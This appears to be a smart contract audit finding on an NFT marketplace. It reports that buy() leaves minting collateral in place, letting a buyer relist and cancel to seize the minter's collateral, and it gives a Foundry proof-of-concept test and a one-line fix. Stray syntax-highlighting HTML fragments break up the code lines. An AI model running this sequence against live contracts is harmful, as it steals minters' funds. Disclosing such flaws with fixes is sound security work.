Description
buy() transfers the NFT without clearing collateralForMinting[tokenId]. cancelListing() sends that collateral to listing.seller — whoever currently lists the token, not the original minter. A buyer can therefore buy → relist → cancel to claim the minter's collateral.
Risk
Likelihood: High — the attack requires no special permissions; any buyer on a listed NFT can execute it immediately after purchase.
Impact: High — every minter's collateral is at permanent risk once their token is listed and sold. The collateral is unrecoverable by the original minter after the attack executes.
Proof of Concept
Attack: Alice mints (locks collateral), lists. Bob buys (collateral untouched), relists as new owner, cancels — cancelListing pays Alice's collateral to Bob.
#86efac">"syntax-token keyword" style="color:#c084fc;font-weight:600">function testBuyerCanStealOriginalMinterCollateralViaCancelListing() public {
vm.startPrank(owner);
nftDealers.revealCollection();
nftDealers.whitelistWallet(alice);
nftDealers.whitelistWallet(bob);
vm.stopPrank();
vm.startPrank(alice);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.mintNft();
nftDealers.list(#fbbf24">1, uint32(100e6));
vm.stopPrank();
vm.startPrank(bob);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.buy(#fbbf24">1); // NFT → Bob, collateral unchanged
nftDealers.list(#fbbf24">1, uint32(50e6)); // overwrites s_listings[1] with Bob as seller
uint256 bobBalanceBefore = usdc.balanceOf(bob);
nftDealers.cancelListing(#fbbf24">1); // sends Alice's collateral to Bob
uint256 bobBalanceAfter = usdc.balanceOf(bob);
vm.stopPrank();
assertEq(bobBalanceAfter - bobBalanceBefore, nftDealers.lockAmount());
assertEq(nftDealers.collateralForMinting(#fbbf24">1), 0);
assertEq(nftDealers.ownerOf(#fbbf24">1), bob);
}
Recommended Mitigation
Clear collateralForMinting[tokenId] inside buy() so no subsequent owner can claim it:
diff #86efac">"syntax-token keyword" style="color:#c084fc;font-weight:600">function buy(uint256 _listingId) external payable {
...
s_listings[_listingId].isActive = #86efac">"syntax-token keyword" style="color:#c084fc;font-weight:600">false;
+ collateralForMinting[listing.tokenId] = #fbbf24">0;
emit NFT_Dealers_Sold(msg.sender, listing.price);
}